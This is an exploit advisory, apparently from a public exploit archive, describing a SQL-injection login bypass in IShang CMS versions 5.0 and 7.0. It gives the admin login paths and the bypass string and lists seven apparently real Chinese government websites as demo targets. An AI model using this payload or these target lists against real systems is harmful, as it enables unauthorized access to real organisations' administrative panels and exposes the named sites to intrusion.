IShang CMS 5.0 / 7.0 SQL Injection

`######################  
# Exploit Title : IShang CMS Login Page Bypass Vulnerability  
# Exploit Author : Adrian  
# Vendor Homepage : http://www.ishang.net/  
# Google Dork : Use Your Brain   
# Date: 2013/12/28  
# Tested On : Win8  
# Software Link : http://www.ishang.net/  
# Version : 7.0 / 5.0  
######################  
#*  
# 1) http://site.com/[path]/admin/  
# 2) http://site.com/[path]/mywebs/  
#  
# String For Bypass : '=' 'or'  
#  
# Demo:  
#  
http://www.qj12333.gov.cn/mywebs/  
#  
http://www.lasl.gov.cn/admin/  
#  
http://www.lajgj.gov.cn/admin/  
#  
http://fx.ahxf.gov.cn/admin/  
#  
http://gxsh.ahfeixi.gov.cn/admin/  
#  
http://sangang.ahfeixi.gov.cn/admin/  
#  
http://www.mglyj.gov.cn/admin/  
#  
######################  
# discovered by : Adrian  
######################**   
`